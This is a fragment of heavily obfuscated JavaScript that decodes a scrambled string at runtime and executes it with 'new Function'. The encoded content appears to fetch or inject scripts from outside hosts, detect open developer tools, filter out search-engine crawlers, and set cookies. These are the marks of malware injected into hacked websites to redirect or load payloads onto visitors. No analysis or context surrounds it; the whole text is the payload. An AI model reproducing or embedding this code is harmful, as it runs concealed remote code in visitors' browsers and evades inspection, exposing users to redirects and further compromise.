wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();